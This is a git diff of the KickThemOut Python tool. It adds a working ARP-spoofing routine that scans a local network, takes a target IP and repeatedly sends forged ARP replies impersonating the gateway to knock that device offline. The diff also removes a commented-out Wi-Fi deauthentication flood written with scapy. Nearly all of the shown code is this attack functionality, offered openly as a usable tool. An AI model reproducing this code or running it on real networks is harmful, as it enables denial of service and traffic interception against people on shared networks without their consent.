diff --git a/kickthemout.py b/kickthemout.py index 5acf0e3..8843dd1 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -9,6 +9,11 @@ See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject) import time, os, sys, logging from time import sleep +from scapy.all import * +import math + +import scan +import spoof BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m' @@ -36,7 +41,52 @@ def optionBanner(): print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE) def kickoneoff(): - print('kickoneoff') + os.system("clear||cls") + global defaultInterface + global defaultInterfaceMac + global defaultGatewayIP + global defaultGatewayMac + global hostsList + global onlineIPs + + print "" + print ("{0}kickONEOff{1} selected...{2}").format(RED, GREEN, END) + print "" + scanNetwork() + print "Online IPs: " + for ip in onlineIPs: + print (" {0}" + ip + "{1}").format(RED, END) + + print "" + one_target_ip = raw_input("IP of the target: ") + one_target_mac = "" + for host in hostsList: + if host[0] == one_target_ip: + one_target_mac = host[1] + if one_target_mac == "": + print "" + print("IP address is not up. Please try again.") + return + + print "" + print("{0}Target mac => '{1}" + one_target_mac + "{2}'{3}").format(GREEN, RED, GREEN, END) + print "" + print("{0}Spoofing started... {1}(press CTRL + C to stop)").format(GREEN, END) + print "" + try: + while True: + spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac) + time.sleep(15) + except KeyboardInterrupt: + print "" + print("{0}Re-arping{1} target...{2}").format(RED, GREEN, END) + rearp = 1 + while rearp != 10: + spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, one_target_ip, one_target_mac) + rearp = rearp + 1 + time.sleep(0.5) + print "" + print("{0}Done.{1}").format(GREEN, END) def kicksomeoff(): print('kicksomeoff') @@ -44,71 +94,77 @@ def kicksomeoff(): def kickalloff(): print('kickalloff') -""" -def deauth_attack(iface, bssid): +def scanNetwork(): + global hostsList + hostsList = scan.scanNetwork() - client = 'FF:FF:FF:FF:FF:FF' +def getDefaultInterface(): + def long2net(arg): + if (arg <= 0 or arg >= 0xFFFFFFFF): + raise ValueError("illegal netmask value", hex(arg)) + return 32 - int(round(math.log(0xFFFFFFFF - arg, 2))) - conf.iface = iface - conf.verb = 0 - packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client, - addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7) + def to_CIDR_notation(bytes_network, bytes_netmask): + network = scapy.utils.ltoa(bytes_network) + netmask = long2net(bytes_netmask) + net = "%s/%s" % (network, netmask) + if netmask < 16: + return None - print('\nChoose option from menu:\n') - print('\t{0}[{1}1{2}]{3} Kick Once').format(YELLOW, RED, YELLOW, WHITE) - sleep(0.2) - print('\t{0}[{1}2{2}]{3} Keep Kicking').format(YELLOW, RED, YELLOW, WHITE) - sleep(0.2) + return net - choice = None - while choice == None: - header = ('\n{0}kickthemout{1}> '.format(BLUE, WHITE)) - choice = raw_input(header) - if choice == '1': - pcounter_header = ('{0}kickthemout{1}> numofpackets: '.format(BLUE, WHITE)) - pcounter = raw_input(pcounter_header) - print(pcounter) # {TESTING} - packets_sent = 0 - for i in range(int(pcounter)): - sendp(packet) - packets_sent += 1 - print 'Deauth sent via: ' + iface + ' to BSSID: ' + bssid + '.\nPackets sent: ' + str(packets_sent) - sleep(2) - elif choice == '2': - time_header = ('{0}kickthemout{1}> keepkickingfor(mins): '.format(BLUE, WHITE)) - attack_time = float(raw_input(time_header)) - start = time.time() - packets_sent = 0 - while (time.time() - start) != attack_time: - sendp(packet) - packets_sent += 1 - print 'Deauth sent via: ' + iface + ' to BSSID: ' + bssid + '.\nPackets sent: ' + str(packets_sent) - sleep(2) - else: - choice = None - print('*INVALID OPTION*') # {TESTING} -""" + for network, netmask, _, interface, address in scapy.config.conf.route.routes: + + # skip loopback network and default gw + if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0': + continue + + if netmask <= 0 or netmask == 0xFFFFFFFF: + continue + + net = to_CIDR_notation(network, netmask) + + if interface != scapy.config.conf.iface: + continue + + if net: + return interface + +def getGatewayIP(): + getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False) + return getGateway_p.src def main(): heading() + global defaultInterface + global defaultInterfaceMac + global defaultGatewayIP + global defaultGatewayMac + global hostsList + global onlineIPs + + defaultInterface = getDefaultInterface() + defaultGatewayIP = getGatewayIP() + defaultInterfaceMac = get_if_hwaddr(defaultInterface) + scanNetwork() + onlineIPs = [] + for host in hostsList: + onlineIPs.append(host[0]) + if host[0] == defaultGatewayIP: + defaultGatewayMac = host[1] + + print("\n{0}Using interface '{1}"+defaultInterface+"{2}' with mac address '{3}"+defaultInterfaceMac+"{4}'.\nGateway IP: '{5}" + + defaultGatewayIP + "{6}'. {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN, RED, GREEN, RED, GREEN, END) + try: - # CHECK FOR WIRELESS CARD - iface_header = ('\n{0}kickthemout{1}> interface: '.format(BLUE, WHITE)) - iface = raw_input(iface_header) - - # SCAN (AIRODUMP-NG) & PARSE (BSSIDs) - # ... - - bssid_header = ('{0}kickthemout{1}> bssid: '.format(BLUE, WHITE)) - bssid = raw_input(bssid_header) # {TESTING} while True: optionBanner() - header = ('{0}kickthemout{1}> '.format(BLUE, WHITE)) + header = ('{0}kickthemout{1}> {2}'.format(BLUE, WHITE, END)) choice = raw_input(header) if choice.upper() == 'E' or choice.upper() == 'EXIT': @@ -131,7 +187,7 @@ def main(): except KeyboardInterrupt: print('\nThanks for dropping by.' - '\nCatch ya later!') + '\nCatch ya later!{0}').format(END) if __name__ == '__main__': diff --git a/scan.py b/scan.py index 116edcd..fdcfa82 100644 --- a/scan.py +++ b/scan.py @@ -1,4 +1,4 @@ -#kickthemout/scan.py by @xdavidhu +#kickthemout/scan.py by @xdavidhu, and also by Benedikt Waldvogel (https://github.com/bwaldvogel/neighbourhood) def scanNetwork(): import scapy.config @@ -27,7 +27,7 @@ def scanNetwork(): def scan_and_print_neighbors(net, interface, timeout=1): hostsList = [] try: - ans, unans = scapy.layers.l2.arping(net, iface=interface, timeout=timeout, verbose=True) + ans, unans = scapy.layers.l2.arping(net, iface=interface, timeout=timeout, verbose=False) for s, r in ans.res: mac = r.sprintf("%Ether.src%") ip = r.sprintf("%ARP.psrc%") @@ -45,22 +45,20 @@ def scanNetwork(): raise return hostsList + for network, netmask, _, interface, address in scapy.config.conf.route.routes: - if __name__ == "__main__": - for network, netmask, _, interface, address in scapy.config.conf.route.routes: + # skip loopback network and default gw + if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0': + continue - # skip loopback network and default gw - if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0': - continue + if netmask <= 0 or netmask == 0xFFFFFFFF: + continue - if netmask <= 0 or netmask == 0xFFFFFFFF: - continue + net = to_CIDR_notation(network, netmask) - net = to_CIDR_notation(network, netmask) + if interface != scapy.config.conf.iface: + # see http://trac.secdev.org/scapy/ticket/537 + continue - if interface != scapy.config.conf.iface: - # see http://trac.secdev.org/scapy/ticket/537 - continue - - if net: - return scan_and_print_neighbors(net, interface) \ No newline at end of file + if net: + return scan_and_print_neighbors(net, interface) \ No newline at end of file diff --git a/spoof.py b/spoof.py index 7d70a98..2cd8fbd 100644 --- a/spoof.py +++ b/spoof.py @@ -1,6 +1,6 @@ #kickthemout/scan.py by @xdavidhu -def sendPacket(my_mac, interface, my_ip, target_ip, target_mac): +def sendPacket(my_mac, gateway_ip, target_ip, target_mac): import sys from scapy.all import ( @@ -15,7 +15,7 @@ def sendPacket(my_mac, interface, my_ip, target_ip, target_mac): ether.src = my_mac arp = ARP() - arp.psrc = my_ip + arp.psrc = gateway_ip arp.hwsrc = my_mac arp = arp @@ -28,4 +28,4 @@ def sendPacket(my_mac, interface, my_ip, target_ip, target_mac): arp.op = 2 packet = ether/arp - sendp(x=packet) + sendp(x=packet, verbose=False)